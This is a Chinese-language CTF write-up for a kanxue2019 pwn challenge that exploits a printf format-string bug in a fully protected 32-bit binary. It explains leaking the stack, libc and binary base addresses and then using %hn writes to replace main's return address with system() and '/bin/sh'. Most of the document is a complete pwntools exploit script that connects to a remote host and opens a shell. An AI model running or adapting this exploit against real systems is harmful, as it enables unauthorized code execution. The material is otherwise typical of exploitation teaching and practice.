运行checksec,保护全开。
看main代码,发现printf处有格式化字符串漏洞,可以用来读写堆栈
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+0h] [ebp-10h]
unsigned int v6; // [esp+4h][ebp-Ch]
int *v7; // [esp+8h] [ebp-8h]
v7 = &argc;
v6 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to kanxue2019, your pwn like cxk");
do
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 1 )
break;
printf("What do touwant to say:");
read_input((int)&echo,24);
printf((const char*)&echo); //存在格式化字符串漏洞
puts((const char*)&unk_A97);
}
}
while ( v3 != 2 );
return 0;
}
利用思路:
利用格式化字符串漏洞获取程序加载基址,栈地址,libc地址的值。利用%n实现任意地址写。由于本题got表不可写,可以考虑将main函数的返回地址改写为onegadget。经过实际测试发现onegadget的某些条件不满足,因此选择将main函数返回地址改为system函数地址,ret+8处的地址指向/bin/sh,即如下格式
FFD5F0C0 5664300C .bss:echo
FFD5F0C4 00000018 %1$x
FFD5F0C8 00000004
FFD5F0CC 566418F3 %3$x, main+6D
FFD5F0D0 00000001
FFD5F0D4 FFD5F194 %5$x
FFD5F0D8 FFD50A31
FFD5F0DC 36B20200 STACK_COOKIE
FFD5F0E0 FFD5F100 %8$x, SAVED_ECX
FFD5F0E4 00000000 SAVED_EBX
FFD5F0E8 00000000 SAVED_EBP
FFD5F0EC F7D75637 %11$x, __libc_start_main+F7
...
FFD5F0FC F7D75637 RET //改为system地址
FFD5F100 00000000
FFD5F104 FFED5834 //改为echo全局变量地址
...
FFD5F194 FFD6128A %53$x
对照上图,就是要将0xFFD5F0FC=system函数地址,0xFFD5F104=echo全局变量地址。
通过调试,找到一个保存在栈上的栈指针,而且这个栈指针指向的值也是栈上的地址。对照上图,FFD5F0D4保存的FFD5F194为栈指针,而FFD5F194保存的FFD6128A也是栈上的地址。
%5$hn修改这个栈地址指向的栈地址的低16位为ret_addr的低16位
%53$hn修改ret_addr的低16位为system()低16位
%5$hn修改这个栈地址指向的栈地址的低16位为ret_addr+2的低16位
%53$hn修改ret_addr高16位为system()高16位
同样道理,将ret+8修改为echo全局变量地址。
输入/bin/sh,/bin/sh将存储到echo地址。输入选项2,退出程序获得shell。
exp脚本:
# coding:utf-8
from pwn import *
from zio import *
context.log_level = 'debug'
g_libcBase = 0
g_bridgeStackAddr = 0
g_mainRetAddr = 0
g_systemFuncAddr=0
g_moudleBase = 0;
g_ehcoAddr = 0
def choice(index):
io.sendline(str(index))
p = io.recvuntil('What do touwant to say:')
return p
def say(str):
io.sendline(str)
sleep(1)
p = io.recvuntil('Choice:')
return p
def GetAddrByString(str):
choice(1)
p=say(str)
return int(p[2:10], 16)
if __name__ == '__main__':
#io = process('./format')
io = remote('152.136.18.34',9999)
io.recvuntil('Choice:')
#get addr
g_bridgeStackAddr =GetAddrByString('%8$p')
print 'g_bridgeStackAddr = '+ str(hex(g_bridgeStackAddr))
g_mainRetAddr =g_bridgeStackAddr - 4
print 'g_mainRetAddr = ' +str(hex(g_mainRetAddr))
g_libcBase =GetAddrByString('%15$p')- 0x18637
print 'g_libcBase = ' +str(hex(g_libcBase))
#g_systemFuncAddr =g_libcBase + 0x3ADA0
g_systemFuncAddr = g_libcBase+ 0x3A940
print 'g_systemFuncAddr = ' +str(hex(g_systemFuncAddr))
g_moudleBase =GetAddrByString('%3$p') - 0x8f3
print 'g_moudleBase = ' +str(hex(g_moudleBase))
g_ehcoAddr = g_moudleBase +0x200c
print 'g_ehcoAddr = ' +str(hex(g_ehcoAddr))
#set system call
pyload = '%.' +str(g_mainRetAddr&0xffff) + 'x%5$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str(g_systemFuncAddr&0xffff) + 'x%53$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str((g_mainRetAddr+2)&0xffff) + 'x%5$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str(g_systemFuncAddr>>16) + 'x%53$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
#set echo
g_bridgeStackAddr =g_bridgeStackAddr + 4
pyload = '%.' +str(g_bridgeStackAddr&0xffff) + 'x%5$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str(g_ehcoAddr&0xffff) + 'x%53$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str((g_bridgeStackAddr+2)&0xffff) + 'x%5$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
pyload = '%.' +str(g_ehcoAddr>>16) + 'x%53$hn'
print 'pyload=' + pyload
choice(1)
say(pyload)
#set /bin/sh
pyload = '/bin/sh' + p32(0)
choice(1)
say(pyload)
io.sendline('2')
io.interactive()